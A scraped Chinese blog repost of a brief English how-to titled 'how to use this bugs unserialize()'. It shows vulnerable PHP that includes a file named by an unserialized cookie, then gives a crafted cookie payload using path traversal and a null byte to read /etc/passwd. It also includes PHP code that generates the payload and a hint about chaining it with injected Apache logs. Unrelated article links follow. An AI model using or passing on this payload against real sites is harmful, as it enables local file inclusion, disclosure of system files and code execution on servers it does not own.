博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
how to use this bugs unserialize()
阅读量:2435 次
发布时间:2019-05-10

本文共 498 字,大约阅读时间需要 1 分钟。

 <?php
$settings=unserialize($_COOKIE[user_settings]);
include("include/lang/".$settings['lang'].".php");
?>
quite obvious, you need to set a cookie like this:
user_settings=a:1:{s:4:"lang";s:32:"../../../../../../../etc/passwd[null char]";}
it is the result of:
[code lang=php]
<?php
$settings=array();
$settings['lang']="../../../../../../../etc/passwd/x00";
$settings=serialize($settings);
echo $settings;
?>
[/code]
the same with apache logs or something...
where you have injected some php code

转载地址:http://kummb.baihongyu.com/

你可能感兴趣的文章
笔记︱风控分类模型种类(决策、排序)比较与模型评估体系(ROC/gini/KS/lift)
查看>>
MySQL存储引擎之MyISAM与InnoDB区别
查看>>
Python numpy小练习
查看>>
Linux命令英文解释(按英文字母顺序)
查看>>
秋招面试准备-数据库知识
查看>>
数据分析岗-机器学习相关知识
查看>>
分类模型的效果评估
查看>>
深入理解什么是Java双亲委派模型
查看>>
MySQL优化Limit查询语句
查看>>
轻松入门MySQL主从复制原理
查看>>
SpringCloud全家桶---Zuul网关
查看>>
基于zuul和ribbon的灰度发布方案
查看>>
JVM常用垃圾收集器参数说明
查看>>
MySQL索引基础知识梳理
查看>>
MySQL事务ACID底层实现原理
查看>>
关于MySQL wait_timeout问题记录
查看>>
基础算法面试题---如何用栈实现队列
查看>>
基础算法面试题---如何用队列实现栈(1)
查看>>
基础算法面试题---如何用队列实现栈(2)
查看>>
基础算法面试题---如何数组实现栈和队列
查看>>